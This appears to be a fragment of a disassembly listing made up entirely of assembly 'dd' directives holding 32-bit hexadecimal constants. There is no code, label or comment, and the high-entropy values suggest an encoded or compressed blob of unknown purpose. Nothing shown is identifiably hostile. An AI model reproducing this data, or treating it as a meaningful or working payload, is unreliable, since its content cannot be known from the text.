		dd 80C27E3Eh, 569370E8h, 1C07E5BEh, 40D9D14Fh, 1ED822A7h
		dd 0F4E510EAh, 0D54CB99Eh, 0EC3E1CEBh, 81C5D280h, 0EF39E2h
		dd 0C014B370h, 19374BC3h
		dd 1D630A00h, 76CDE991h, 4CFA02FEh, 6B6F9621h, 33135740h
		dd 73EEA00h, 0F74FD23Fh, 0F42D2805h, 44DD38F3h,	5813380Fh
		dd 59E271E0h, 0B500973Bh, 855C6291h, 12D7EAh, 416854CDh
		dd 1673C0D2h, 0B05EEC14h, 0C1470098h, 5B55C76Eh, 0C0BD0083h
		dd 0CF7479EDh, 0D600C5D5h, 0F72CDBA0h, 52931Bh,	8F0B1F40h
		dd 36082663h, 0EA516A0Eh, 0BAF920BDh, 2C3C6Bh, 84E164CDh
		dd 0EDA95E8Eh, 6009BFEh, 87C95C3Fh, 5C6E53EEh, 0A300F247h
		dd 48DE8B50h, 0EF00FCC0h, 0F5064325h, 323E5Ah, 53D0DFFDh
		dd 45564C5Ch, 4058EA00h, 0E024F28Fh, 0DD7A001Dh, 0A9157637h
		dd 7200B389h, 56F0C50Eh, 0AC397Dh, 0F2291122h, 1DDFAD32h
		dd 0BBE87403h, 0DBA6DDD1h, 0A9680021h, 0DB516B40h, 7A013620h
		dd 0BD8FCB4Ah, 79840F3Ch, 0C11458EBh, 0DC8C13FFh, 7900A29Eh
		dd 7FD33C0h, 906EBECBh,	74730089h, 1018CC19h, 0A73CE3B6h
		dd 843680A1h, 3D240B78h, 0F8773Bh, 714C0F51h, 665B47F3h
		dd 5DDFEF00h, 0F1696ED6h, 8AED3D70h, 0E11D3380h, 2DAD4C53h
		dd 0E6D458h, 5002B4D8h,	74EE89F8h, 0AA860056h, 0A3994027h
		dd 607BF4Eh, 4CC0B5BDh,	22C6E9C1h, 5F81880h, 0B9547339h
		dd 9B566E03h, 3F21EC35h, 0C318CC40h, 0DE6A58C1h, 7EA6744h
		dd 331E7EADh, 0C0A227D0h, 0D6193FCDh, 6447B500h, 9CF40211h
		dd 652000AAh, 895FC418h, 0A9390F4Bh, 48E3C777h,	2C8E38B6h
		dd 0F7F65706h, 60F8876Bh, 124E0886h, 0F960969Ch, 0DBDD4719h
		dd 0BA060124h, 0D7281043h, 378450B4h, 69059A6Fh, 0E4CE6EC3h
		dd 2B00A01Fh, 61D5A6D8h, 523F0021h, 0D01A6065h,	0D2264CBAh
		dd 0AE016DF9h, 294757Fh, 0B3A3C8FFh, 0DF1F00ACh, 0CFE14767h
		dd 0B10725FAh, 5C2D8905h, 911324DAh, 1B4C0500h,	2B2EBA8h
		dd 4612156Eh, 88811971h, 80E2D302h, 1FF72E88h, 1D1CC649h
		dd 23BA05Bh, 0CDA66866h, 0B5788DC0h, 2FB09000h,	0D664D148h
		dd 0C0FCA049h, 0A7441C5Eh, 0AA898C18h, 31002E10h, 42691CD0h
		dd 184DE316h, 0F1DC20F3h, 0A90E4956h, 0C0196E88h, 2AE26222h
		dd 1B2B0015h, 3CD24DD4h, 0B4489EA6h, 94EA00CBh,	0B1B08740h
		dd 9F6E0EB3h, 0E48079BCh, 0C73918C3h, 0B60F3Eh,	274DF587h
		dd 2ABFD6E7h, 0C8F6DBh,	0BEB2484Ah, 4EB1BC55h, 0DC009EFAh
		dd 7384B498h, 3752A2Dh,	28B64D4Ch, 0C0E8D478h, 30F0D50h
		dd 690F08DFh, 0FA7EC058h, 0CCD10075h, 79FF3AF1h, 0F800FB0Bh
		dd 2E1F3970h, 8EBC61h, 0B92335ABh, 6C12311Bh, 88B10B1Eh
		dd 92C96780h, 1F5BCF04h, 1318708Ch, 0CDEDA0DAh,	722EBB00h
		dd 7D90636Fh, 0D2700E27h, 2180A28Fh, 0BD5B576Dh, 66000BF6h
		dd 5F59CDEh, 7CEF9E3h, 0F4A5EE44h, 2CB7D05Fh, 0C0F3A761h
		dd 7B00873Bh, 0B648A30Ch, 0F8C586Fh, 7D120F16h,	0F73BD240h
		dd 0ED7DA059h, 904E3Bh,	0B61E8B5Eh, 1934C4Fh, 4B012A3Eh
		dd 0D852FC89h, 0B3006F99h, 22C407A8h, 7CA86DAh,	2DD5DC6h
		dd 0D9E07012h, 0F501F393h, 0AB0967E3h, 92705154h, 0EB91DFCh
		dd 3B9F09D0h, 5D187181h, 19C8DC56h, 2F653900h, 91F9FDEDh
		dd 0AC870E6Dh, 9C208610h, 0D688CF78h, 0FD717600h, 3DFE3625h
		dd 0D83F0083h, 49498DAh, 3E01E3FBh, 2CEA7968h, 418091EBh
		dd 0D221D93Dh, 84002E1Dh, 965BB28h, 756333Ah, 0C07449E2h
		dd 0BD5D5130h, 65B3E09Dh, 6CC8D00h, 0DD4A2E9h, 3FB7FE34h
		dd 12808E21h, 0C4FED5D6h, 0F801D1E0h, 57C2B3E3h, 0F0BAEB43h
		dd 971C4287h, 9D17A03Bh, 6B001682h, 0C8D0083Fh,	0B42849h
		dd 0D29F7AF5h, 0C1EAA848h, 5A136300h, 0EB094E70h, 7AE43Dh
		dd 0E1E6F032h, 56EF10C8h, 0B6C52500h, 0E9823F38h, 224F002Eh
		dd 9418CD45h, 0D598B51Bh, 0BC1C780Ch, 79F9FBh, 9B8446FDh
		dd 0F4EF4E25h, 1AE090B8h, 5F0083E0h, 227EBB92h,	7FE81Bh
		dd 0C0C3FF48h, 2984E9A6h, 0D7F73300h, 22CF70F9h, 0B12801E0h
		dd 85534DD9h, 69632031h, 0C91B610Ch, 34438E1h, 4F25BE50h
		dd 0B3CF0908h, 0AFD87B76h, 6200F97Dh, 36A9A6C6h, 0CAB79Ah
		dd 0CD94F22h, 0D5968611h, 43B20500h, 0FB60C247h, 0E91C00EEh
		dd 937B6AE2h, 5D00F90Ah, 23FE28A3h, 2489ECDDh, 8445A5h
		dd 185E0D4Eh, 7F002417h, 0A9153F5h, 73A40850h, 59C20056h
		dd 0C694336h, 7C3B1228h, 0D95F003Fh, 1465C985h,	0D38704F7h
		dd 9172B57Dh, 0C4A8FE58h, 30306194h, 0DD5190E0h, 0C6184852h
		dd 0BFC9C600h, 1420E47Ah, 1E002271h, 0EDB15D62h, 126F2F71h
		dd 0BE793h, 4D149264h, 38385733h, 81DBB89Bh, 0B8C9CC69h
		dd 0DCD87665h, 0A5B91271h, 0B1604752h, 92AF0093h, 8A88C4A9h
		dd 0C7A6078Bh, 207ABA1Eh, 7DDD50A1h, 0DE529100h, 51C599DAh
		dd 9F8A0F7Eh, 48C06313h, 0C65D12FCh, 0FEB2811Bh, 2CA59938h
		dd 0C40E60h, 6DDACAAAh,	47C0A4D7h, 6E79F00h, 99AD28FEh
		dd 30817AAEh, 5EA827C9h, 8D006C75h, 3AE153B1h, 384FE015h
		dd 58603530h, 82995AA0h, 482C2D39h, 6EB00148h, 369C2F6Ch
		dd 0A83F60h, 0F9F81386h, 4FC592A7h, 0EC5A2400h,	0B9D164FDh
		dd 0CD251ED6h, 8208C0A6h, 6C16DE6Fh, 0B4D05500h, 6380FB8Bh
		dd 0E07489h, 0A81D432h,	6021C720h, 9E01AA12h, 2CEC2807h
		dd 4BD18590h, 64300059h, 0E5D06C14h, 3FF415C5h,	2B7A3300h
		dd 0ED450978h, 47D6A080h, 1A8400D9h, 652ADD87h,	360089EEh
		dd 5B862976h, 767B03C0h, 0C382007Dh, 130B195Ch,	0AD00E0A8h
		dd 8EFF440Fh, 12FB0969h, 1AF3394h, 0AB503A50h, 53C6E0BDh
		dd 47153F04h, 6CD0A94Bh, 0CC162Ah, 65A84555h, 0F79FBD57h
		dd 0C83ADF00h, 0A558A7A9h, 0B3600068h, 0DB1146F2h, 2005E0Fh
		dd 0E627556Dh, 0EE802CA0h, 0E0E7DE5h, 0AD7F0BD0h, 0E0148447h
		dd 0C18ADC50h, 0B80ED976h, 87284FD6h, 0FAA0CB1Dh, 1E1C0265h
		dd 5EB0AC18h, 41A44Dh, 0D1F4E83h, 0D83B1BD7h, 26682CCCh
		dd 1D862F01h, 0BDEC9CD1h, 3578A9h, 0BC79E312h, 0CDA8B52Eh
		dd 9D309400h, 99439E02h, 0CE65198Ch, 0D95D6008h, 3296F0A5h
		dd 0F503F890h, 0BCA0D7B9h, 1504D846h, 0D59885h,	0B6262BAAh
		dd 0C97CB54Dh, 0D8E9801h, 2F49E301h, 240B8420h,	34FB14h
		dd 2B435AFDh, 660736A0h, 0B1FA71A6h, 0F87286F0h, 5DCC00FCh
		dd 2522D6D1h, 0DC098F32h, 0DED9BDh, 1B5F5AE0h, 7DA53052h
		dd 0A8674C61h, 6321BA60h, 5D029Ah, 6505176Bh, 0EE54599Dh
		dd 1923F41Ch, 514C3E03h, 0B1D3C872h, 1BB70099h,	1F27B22Eh
		dd 0D0030284h, 0BA12D8F3h, 0BD5AA8CAh, 0B1CCA069h, 73D500E9h
		dd 5535A3FEh, 3600EFDBh, 7E544447h, 5C93339Ah, 161FC929h
		dd 87E2426Eh, 5C6161D0h, 35D3D053h, 92043400h, 19EE103Dh
		dd 1A9605B3h, 80C97695h, 0FF21C40h, 4484F00h, 7311056Ah
		dd 503F0118h, 0CD4B84FEh, 332B70BAh, 28D9221Ch,	44F41180h
		dd 5AA369h, 8D9F0BFDh, 30B8833Fh, 9E339000h, 0F615035Fh
		dd 0F74A14B3h, 0EF00A723h, 9071600Fh, 111EC03Ah, 98A6F0D1h
		dd 36B1FF18h, 235500A2h, 290E0345h, 7D00A9F7h, 746A95BDh
		dd 0C4705Ch, 0F4DA019Bh, 0F1039371h, 862D6500h,	7ADD4EEh
		dd 0F44CFC42h, 0D25A0031h, 35E1B623h, 0F8582621h, 0AE4D045Dh
		dd 0E8C058BBh, 723D8Ah,	79C8AFAAh, 0FAD88693h, 0A9001490h
		dd 0FC293C1Bh, 5BF63Dh,	32F46C03h, 5C9278E7h, 0D0E36200h
		dd 0E4863628h, 996B005Bh, 0B54C7981h, 0A0072096h, 0D0904B24h
		dd 0A66CB21h, 129589E0h
		dd 20A891DBh, 820CF27Ch, 0EAA77E0Bh, 1B1680D7h,	3EA8EC93h
		dd 9C80D874h, 0F55BD625h, 3C02D4AEh, 0F6702441h, 28186034h
		dd 0F61EC77h, 225D9CCFh, 7842B640h, 84300B18h, 17CEC8CAh
		dd 80B4A137h, 90794CECh, 1C1C9B72h, 3AFB80C2h, 527015A3h
		dd 47C8F050h, 0AF2A810Fh, 2CC164BFh, 0D1184891h, 6A2C5C0h
		dd 0D039491Eh, 8300B092h, 0A9CA3E35h, 66F4B52h,	31D45CAFh
		dd 88C0BCF7h, 0A5B35ADBh, 60534971h, 77433500h,	0E52CE439h
		dd 1448702h, 44552378h,	8A070B04h, 0F2D613E7h, 3F75D700h
		dd 193BD6D2h, 58FCEC2Dh, 59BBC4B1h, 0D09D7D00h,	5B6681B2h
		dd 0CADA00F9h, 0B949B62Bh, 6F003918h, 409FF5EEh, 0A2E190h
		dd 5BC17D06h, 0C4C5D23Dh, 1FBD11Ch, 2007258Eh, 1B58862Ah
		dd 6FC6009Eh, 0B68D58Eh, 51009698h, 330643C3h, 588CFE15h
		dd 0D10025CDh, 0C07913E4h, 7C074651h, 91A1ADDCh, 908B3B62h
		dd 59B66CA4h, 0C600A49Ch, 6FF8EBDDh, 0DC006506h, 7708AABh
		dd 4C9501BCh, 0AF24F452h, 5D0C28DDh, 0BA004850h, 1E413780h
		dd 5B004DA4h, 0A739CF0Fh, 0F8ED5FD3h, 789600EFh, 5C5349E7h
		dd 0C004D1A3h, 3FA4E302h, 0CC6540C0h, 31353069h, 0E580CE60h
		dd 17001BF6h, 0A8A24071h, 92E19A39h, 0A066B030h, 724FA30h
		dd 2113AE12h, 8AC06F8Fh, 0E4A0770Ah, 82A0724Ch,	303E4CC5h
		dd 36045428h, 71E1517Dh, 83884CC0h, 73ED0099h, 1521C7Ch
		dd 7A01BD4Ch, 0FD164D30h, 86D4E63Ch, 55D60143h,	0F6768B8Ch
		dd 0B3A560E2h, 9E0B5807h, 0E514F250h, 5F6D4B81h, 4F43ECDh
		dd 0C8D00069h, 510E6E4h, 5BF279BDh, 0FFF32800h,	61269624h
		dd 173F0341h, 0A6447F10h, 1C7AC280h, 66F23100h,	5DFC953Bh
		dd 486BFEAFh, 173ACF7h,	0FD348285h, 0C0392384h,	5800F57Eh
		dd 59671786h, 17F2F4B4h, 9F34988h, 4441A2Ch, 0CD0F2346h
		dd 0CBE3E8A1h, 0FFD7D45Dh, 91548B60h, 5300F57Dh, 0A7200736h
		dd 14592FBh, 9FB4DF0Ah,	201D4B7Bh, 96002D18h, 0A96DCD36h
		dd 1F3B4101h, 0C019BD5Bh, 0A1D4B946h, 5007677Eh, 800E1CEDh
		dd 914183Bh, 0EC4F4970h, 6B6001F7h, 6E0C2034h, 0B790E02h
		dd 802BB429h, 42359DFEh, 8060916Ah, 0FCEDAE17h,	190760D7h
		dd 393B5DA3h, 280D7B30h, 3EF273A1h, 298230F8h, 926B8C61h
		dd 606E22C1h, 4C00ACE7h, 95D23C64h, 0E9A2F2Eh, 2DBD0E9Eh
		dd 4F04F860h, 280023A4h, 2F529E1h, 31F4A99h, 0FC15BA8Eh
		dd 7EE3BCA2h, 0FEB270CFh, 0DE1C0491h, 0B10026E3h, 5BAF1B2Eh
		dd 316900C6h, 0FE5C059Eh, 15031381h, 25DDC5C9h,	47E8D08Dh
		dd 0F45A1DA8h, 183A03BCh, 0D898642Fh, 94077A6Fh, 0CF1E0C7Ch
		dd 4C7EDE0h, 0D93200DCh, 749835BFh, 0AD0025BAh,	8C9AF95Eh
		dd 0F7D438h, 316B9C24h,	72FB67E4h, 7A150D00h, 0D877E262h
		dd 83C10094h, 63C94DD7h, 5B3F914Ah, 0EE6701FAh,	9A5E0D25h
		dd 43B1CF0h, 84F8C292h,	102DC076h, 3774CE2Bh, 69C5500h
		dd 9651804h, 52211E7Ah,	80BBDF60h, 4CBE1BADh, 0EA00B280h
		dd 0DD401667h, 0DB320EFh, 2DF4E66Ah, 8FF9D098h,	0D6000173h
		dd 0D9F37D47h, 75DF2286h, 3273007Ch, 0E9991985h, 7D0782EFh
		dd 0D31A0B8Ch, 0F6AACE0h, 483060E0h, 0E16BF225h, 96C47809h
		dd 8B18804Ch, 30987D17h, 860D2E0h, 453C2CA7h, 0DA99488h
		dd 60CCDC60h, 0E3384Fh,	47D740F8h, 42DC0A1Bh, 25B1CF38h
		dd 49700Bh, 0C73AC2E0h,	0CB7048F5h, 4260D516h, 0BC9A9100h
		dd 0A3430Eh, 23CFECF0h,	215FB4AEh, 0B1C9A900h, 6A3A82BDh
		dd 898B172Bh, 0A3A900ECh, 4E2E52FBh, 5494B807h,	0EF3006FFh
		dd 58590Ah, 0DF5E703Ch,	3A035C22h, 3FC623Ch, 0BEA049Fh
		dd 14B0967Bh, 0A0B72E47h, 8FD8AB01h, 0D1DC309Bh, 0D4B834C8h
		dd 3AB7C61Ch, 8D2B0078h, 0A3A08E26h, 11C2019Bh,	0B11AEA35h
		dd 3301C055h, 0F14F8F03h, 9034943Ah, 15D1E3EBh,	380C2B05h
		dd 42BA3701h, 0DDC337Dh, 0F858EEh, 0C6B9B4A7h, 1774D998h
		dd 480B4974h, 80F5C235h, 3C9AB7BCh, 10D4AB94h, 0C91A0861h
		dd 0D4690238h, 85309039h, 5AD0C05Eh, 0D670B756h, 7BE72F00h
		dd 88C89E10h, 7037011h,	3B0CA489h, 504B294h, 5F402C92h
		dd 232A7D6Ch, 0B1302CD7h, 42992008h, 85DA03BAh,	0C4A856C8h
		dd 0F89CA100h, 0AA92A7E9h, 38550087h, 0E2EC536Ah, 1670DD68h
		dd 0AAD229C0h, 0F7DCF4h, 2EE134F2h, 61FCBB1h, 4A83FC00h
		dd 0B271CD2Ch, 7E180C55h, 0E510483Fh, 90A82900h, 0F51776BAh
		dd 4E8503CFh, 0D109B066h, 0E46C7E17h, 4C3B407h,	28D2C0DEh
		dd 0BF6999h, 899E6D53h,	0CB5767C5h, 0F0ED2901h,	0A4817A25h
		dd 56AED4h, 0CED0A972h,	43B70CD4h, 7100C6F2h, 0C25BA380h
		dd 3E6D0863h, 64007FDEh, 0C19813C5h, 0A300EA6Bh, 576AC36Eh
		dd 0FA826D2h, 0B9E082D9h, 8EAEE740h, 7F01C7A1h,	6E4B1F21h
		dd 6930C1A8h, 0EA7D00C8h, 0C467C243h, 0D600BF3Fh, 726BED3Eh
		dd 2D2309Dh, 0AE042923h, 1260D99Eh, 0ED004D54h,	0B10B711Fh
		dd 1D35AC1Bh, 407BA43Ch, 3E1557D7h, 7800DBF3h, 0BB867CF9h
		dd 9264F11h, 305FBD72h,	35048C81h, 39A06081h, 0ED15B900h
		dd 80CD4AB5h, 0DE0B00B4h, 0A58F7E3Eh, 19071836h, 523AB14Ch
		dd 711DAEB0h, 0EC200004h, 0F4E1C960h, 0E901AA5Bh, 68BDD766h
		dd 45EC3D48h, 0CB160017h, 8EFE7744h, 546013FFh,	0C4B93F18h
		dd 6CE41CA7h, 31E07C96h, 71E2DDAFh, 808C7B3Fh, 1D189583h
		dd 0C021C6h, 4877B92Fh,	76DB43C7h, 0EF7EC200h, 9DE66B2Bh
		dd 51E51FC0h, 0F05D1FE0h, 6952372Ch, 0EA5BD514h, 97BD0094h
		dd 0E55064A9h, 184A2805h, 0B4F700A0h, 52DE601Ch, 0B1D2712h
		dd 4794B7C7h, 9A1D0094h, 0F0347803h, 1FF0063h, 0EF092B77h
		dd 0F7002C35h, 1E4C5098h, 3E10DBD9h, 0FC37F6E6h, 0CC7AE018h
		dd 9E00D12Ah, 0CFB6044Eh, 7B7565h, 4374B272h, 0DBE03DEEh
		dd 8A008CECh, 75778021h, 12915F1h, 0FF34357Ch, 7F0AA8h
		dd 3C7D05E6h, 0D31E556Bh, 0A9C1C01Fh, 0B27938CEh, 0DD4F2E00h
		dd 0EFD0B811h, 0B9F4000Bh, 717155Bh, 78E06155h,	72963000h
		dd 9BA41F82h, 0A5BA07F9h, 0C15D08CBh, 80D078FFh, 617A5BA0h
		dd 3CC9A39Bh, 0B00077E9h, 0E7A404FCh, 0A7184039h, 6308321Eh
		dd 5B7300BDh, 9054F62h,	19076E80h, 3AE876B6h, 3EB7FDC0h
		dd 2C1C0578h, 213D985Eh, 0F4EF5D88h, 297D1257h,	3B499100h
		dd 4BBFD5E5h, 0CEB10052h, 60FACBE7h, 0C2051BA5h, 892F5E1Fh
		dd 580046ECh, 6109CAABh, 0F700F272h, 0FF01AE60h, 4C6CC20Bh
		dd 6D07BE1Bh, 20E0E4F0h, 0B3FC8653h, 778DE4FFh,	75B0E607h
		dd 26D07A08h, 279B1Ah, 700D684Bh, 12C22CD9h, 0A3EEBE00h
		dd 8F29A5B0h, 14AA039Ch, 0C06FF956h, 7AE86CE3h,	65075F60h
		dd 81CCC1D7h, 485021B7h, 5B8361h, 7DF45CE9h, 52C562CFh
		dd 0DC3D2300h, 3F2B4C85h, 0A99D0193h, 19890B61h, 3ACC30DEh
		dd 595F8300h, 0A452B815h, 5103006Ah, 0F46E7CCh,	0D3007933h
		dd 2BEE8950h, 763D82Fh,	0BB6783ABh, 72CC30F7h, 0C4007BDAh
		dd 10E5F918h, 2586259h,	22894293h, 0C1C04E3Bh, 38000E35h
		dd 2C5BAD50h, 7834142Ah, 2B50145h, 0CCD30F8Ah, 72788004h
		dd 30107F16h, 0C3F3010Dh, 35AAC73Dh, 0D6D08261h, 40EA060Fh
		dd 0F5FC3Fh, 99FFF62Fh,	1F20C155h, 313BDD03h, 6E97D0h
		dd 0C2A53ED0h, 30CFFC93h, 7213B507h, 23A06D69h,	60ACA62Eh
		dd 0FCF5303Ah, 0AB004AC7h
		dd 0EA055CC0h, 0F471A9Bh, 2DE5D4F7h, 27309A80h,	95009981h
		dd 311C5CFFh, 73F0B91h,	2C17F907h, 88D0C10Eh, 37E6C06Ch
		dd 0B6890600h, 5BA46A14h, 45190102h, 2D7922E7h,	0CE66D4F0h
		dd 4E005C7Ch, 0C09593CDh, 0EBCB73h, 981D0B4h, 5A30E36Eh
		dd 68ED7218h, 2C7D59h, 0D28DA26Bh, 0B2977B0Eh, 8556B10Ch
		dd 7C9846h, 0E6CCE359h,	9065A317h, 916D4402h, 80F35A4Bh
		dd 8AFFEFFEh, 0CFF8180Bh, 0AE6F98A3h, 14334302h, 60CC7D2Eh
		dd 0C0C33497h, 41C46071h, 0F900CF23h, 0B2A5AAD4h, 60F59815h
		dd 0DE47C163h, 2DE64A73h, 0C7E0FD00h, 0ADC650B2h, 0EF8102D2h
		dd 0C4BD7E71h, 7EE55810h, 3DD6101Dh, 71FD8685h,	334E3E20h
		dd 3A9E1F80h, 29F467D5h, 81095124h, 9BA02D18h, 0D8640096h
		dd 0C1627FB3h, 0EB00CFB9h, 50AB71BFh, 270CB6h, 21347097h
		dd 1D3549ACh, 4CF92E38h, 652E7507h, 5204618Dh, 13C76454h
		dd 5BFEDA50h, 0A44A0014h, 0CCAE7B7Dh, 1500B1ACh, 9C6BE6Dh
		dd 78C8165Dh, 0C020C7E8h, 85BC70A0h, 1E00D025h,	0D77C9AF3h
		dd 94E7EBh, 12C63D1Bh, 0D12382FBh, 9AFD5007h, 0A86048F6h
		dd 8E7B62h, 47C1C984h, 0BD92F90Eh, 0D22EAE1Eh, 51CEED43h
		dd 336BC843h, 0AD9B1E8Dh, 473AFAB5h, 20D8E98Ch,	0DD28A440h
		dd 0C7009730h, 0DE9EA3FFh, 4A073Dh, 0A0F402D0h,	0D5490F2Bh
		dd 2000D798h, 24BF65E9h, 5CF2EB7Bh, 49600671h, 9C74AD7Dh
		dd 30C81519h, 0A8C49B10h, 88670181h, 1F03F9FBh,	8482D101h
		dd 0AA857531h, 6FDA080h, 2AFC1418h, 0B9288C71h,	266404E8h
		dd 83E414C3h, 38D0626Dh, 7D1CEF6Fh, 55004BE0h, 0AECA7394h
		dd 92D501D2h, 0ECD674ACh, 454040C6h, 571017A7h,	0E6C502D8h
		dd 3AB000ECh, 0BD9EA6F3h, 0A4FC4100h, 0F10749CAh, 0AAE4A048h
		dd 0B7078613h, 836BE0ABh, 4FFF58E8h, 0FC00EE90h, 0C7EEBA54h
		dd 0F8CE71Ah, 0DB2220F9h, 3960046Ch, 5100737Eh,	78C64447h
		dd 0B80A714Fh, 3A3317F4h, 23F500AEh, 2A07C219h,	0FFE02F02h
		dd 0E0BBB356h, 266FEh, 990F36B5h, 658AB4DCh, 29EA0B01h
		dd 0E881653h, 394037D0h, 2400016Ch, 43E03EB6h, 5D01DC8Bh
		dd 901B0704h, 9DE476D5h, 0B7DA0095h, 0C2860648h, 0E4F130E0h
		dd 7300415Eh, 17CB7994h, 1C332547h, 0FC00460h, 3880236Eh
		dd 4863D106h, 7F53F900h, 0E3B1C5C6h, 943B01B7h,	6DC21702h
		dd 417DF081h, 76295400h, 42F68526h, 45A74CFBh, 9DF3E800h
		dd 40E23545h, 0B7B60500h, 488B827Dh, 5218C0B3h,	2A1E3CF8h
		dd 2C7BBDE2h, 0ED9B3100h, 0C2A26295h, 2840C068h, 80251C8Fh
		dd 48BE8500h, 8D05BCC9h, 0F3E41C9Ch, 0CDB800EEh, 0A177150Ah
		dd 75DFB000h, 0C409929h, 0E2370043h, 6D367064h,	220217FFh
		dd 14C68457h, 47336061h, 3D8B00C0h, 82747CD2h, 7A63ABA8h
		dd 0F8E56BD0h, 0F2DB0B97h, 0A759C0B1h, 11B00785h, 52167600h
		dd 0DBFA102Ch, 4D7A0044h, 0B9DCEF4Ch, 5B028E89h, 2580A39Eh
		dd 6246E07Fh, 0B34B001Eh, 0E4973D75h, 7B3AC8EEh, 0A3DC07E5h
		dd 0F3C00590h, 156934Ah, 0BD12F028h, 0CCDABF10h, 551F7143h
		dd 64C00763h, 77BC9B06h, 90A40925h, 9A0860D8h, 0D79C0010h
		dd 7E64BEECh, 0CF8058DFh, 0D0059177h, 49AE3C32h, 6D8A5A00h
		dd 130F7A7Eh, 0A4510900h, 70D8E012h, 0B8810066h, 5A8489BEh
		dd 9D6030CAh, 0F77D2548h, 0D33F01C2h, 3B4D6E41h, 5318D01Ch
		dd 0A2908F00h, 0F10105B6h, 7E200031h, 911197F6h, 0B0D80C19h
		dd 86C73650h, 0D6FEC902h, 181C35E3h, 0F3836226h, 0B5CE0BDh
		dd 17552461h, 0C0FB1D1Fh, 16BF1B0h, 3E768C38h, 0B8C78F00h
		dd 32841F35h, 36C91697h, 5AB899h, 0F60E96F4h, 790221Bh
		dd 0E3E2AA2Ch, 0BCD990BBh, 8E0079E0h, 22F71E71h, 6ADAD3h
		dd 1862124h, 95057C97h,	23FFC200h, 0EDAAA373h, 0E82C1730h
		dd 0A0E50EBBh, 0C7DF40EEh, 0D00E20C7h, 2A5DAFE4h, 0C6558300h
		dd 141CFAFFh, 6BD0075h,	153D6DB2h, 8200F45Dh, 9D03A533h
		dd 1F99A8C0h, 3D60554Bh, 596E16h, 0B13701A8h, 0BF0F9413h
		dd 232C6523h, 7EB15h, 1DBE2240h, 0E0A9DFBBh, 0C4E2438h
		dd 21899143h, 0D6C600E4h, 30DB8C04h, 0A7186F11h, 0CC4824C1h
		dd 7B02860Eh, 82261E53h, 344F18E4h, 3F0C4B80h, 133AD306h
		dd 5E60A00h, 90FBAECFh,	5A816800h, 1F834060h, 7D6E00DBh
		dd 291CF253h, 1E3CC7B8h, 49798E9Bh, 0C642A0B4h,	0B36985h
		dd 0FECE14F3h, 8A885C61h, 29202107h, 6A30F8F5h,	0EFD25h
		dd 7449906Fh, 0B11DE1D5h, 8700C8F2h, 0CBE9ABEAh, 3BC22Bh
		dd 996C17D6h, 0A355CA01h, 6A771E00h, 418011ECh,	848D003Eh
		dd 475A5778h, 1F00D8F8h, 0F068CAB0h, 1059C9h, 7A11AD95h
		dd 1E9E3201h, 850ED601h, 20089AA1h, 0B3BCECh, 81EA0305h
		dd 0EC4400Dh, 27103F00h, 4C7A9FB4h, 0B8430123h,	0E4BBD836h
		dd 0D6387065h, 40631D00h, 0A47F4AE3h, 3FED0061h, 46F44FA1h
		dd 0C1007A1Ch, 26956FACh, 9849DAh, 58238D70h, 6DB05138h
		dd 0D0078F2h, 610465F4h, 3F2974h, 9EDE57F6h, 0E639E319h
		dd 1BA28C01h, 0AE220849h, 721AB880h, 0F76F37D6h, 3B7D2BE6h
		dd 0DDF6D57Ch, 0B35D100h, 7FCB5F05h, 8DE290h, 152AF46Ch
		dd 8CDAE7F7h, 9F307A28h, 5C3B6100h, 2CBBEBA5h, 40EE00EFh
		dd 5975FCF6h, 0ED0FDD3Fh, 0C063FD96h, 0D95C05C4h, 65980Dh
		dd 6B885685h, 1648B78h,	0CDD23901h, 0E80CE5F3h,	2EF460h
		dd 6BA1B49Ah, 0A4019644h, 0C7B3D107h, 0C9D05133h, 38616CD3h
		dd 49058FCEh, 0C72C7FA6h, 0D52F2355h, 0CA2E2900h, 0F7616BD4h
		dd 1B0B4024h, 10666920h, 11CEAF3Ch, 1008A2D2h, 870C05C5h
		dd 44075129h, 0F030861Ch, 0CA1279D2h, 23A62848h, 0E1563728h
		dd 51C9D629h, 0A6E3080Eh, 142F4A4Ah, 79B0CF0Ch,	0D0FB311Eh
		dd 10260B50h, 8065E2CBh, 0DD086B7Fh, 43C25132h,	0A1115BABh
		dd 447645B7h, 0EE0EF622h, 20AD6BD7h, 8F95421Eh,	159000EFh
		dd 0D27650DFh, 100CFA7h, 2AA22989h, 3B68A9DDh, 0A0807034h
		dd 0FD991A67h, 0CDF49844h, 7CDB3F00h, 26EE0C42h, 454D012Fh
		dd 0F3258409h, 951EC899h, 0F43660Fh, 0DD29A08Eh, 9878224Bh
		dd 8C3A0189h, 0AA133720h, 83CBC09Fh, 0BE584E03h, 0BBC6252Fh
		dd 0FBA988EAh, 917D0E70h, 4280C568h, 5231E3C0h,	9946B500h
		dd 4A69FFD5h, 0A4A5014Fh, 0F1CEA89Ah, 0AC01E4D1h, 4503C800h
		dd 0DB16F708h, 7E7B0F9h, 4D12BE47h, 9F352073h, 5F01BAD8h
		dd 2D1D9884h, 9AD01385h, 0E276E249h, 82DA0099h,	5E8C0760h
		dd 4A079F2Bh, 88FF402Ch, 0A6164211h, 9F9F0E0h, 451A1B21h
		dd 0F7FD2480h, 1F787819h, 6F529900h, 2261DEB3h,	5E7D1898h
		dd 0B0A82820h, 0BC9E31Fh, 0F92FCD80h, 73C72Ah, 0B33287F0h
		dd 4B81549h, 0CD96C160h, 0D4FAD0h, 50B5B901h, 0F98869DDh
		dd 0F5CFE8C0h, 72C699h,	0F0A4EF58h, 0B35A4164h,	9F764A00h
		dd 784CBAE6h, 0D3FC2Bh,	0BCB82AE8h, 0AC6E7DC4h,	0B59E960Fh
		dd 80C02BB1h, 8A05E26Ah, 0EAEB5CCDh, 0DCAEF00h,	10064D58h
		dd 7E79B800h, 0C409A5E3h, 45CD00B4h, 0E808B25Ah, 0D3007305h
		dd 6CACE952h, 0BBD7EDh,	0C3267F8h, 82937D09h, 0DFA81A00h
		dd 0EC1EB715h, 2C451340h, 0FB660034h, 0CA8C6064h, 0C2624E2Ch
		dd 754B1900h, 4350E2h, 0DFEAC5CCh, 0C8E9CF25h, 0ABDB7F00h
		dd 4A4E81D5h, 30B40F35h, 5354A6h, 0FF945A24h, 1F057387h
		dd 930BAFF6h, 0B0959400h
		dd 8868B3h, 8261B4F8h, 0F11C6EC7h, 23124000h, 1EC42FA1h
		dd 4BB024h, 83156389h, 51214F27h, 0E55F660Fh, 103DA03Bh
		dd 335DE304h, 13D22E57h, 0A4C53400h, 80AB3A11h,	0F31E509Fh
		dd 0FAA503ACh, 5EE483A1h, 5AF403E5h, 17D056A0h,	8917182Eh
		dd 0FB005FE1h, 7AA8B27Eh, 87F872h, 1413ACA5h, 2CDDEFA3h
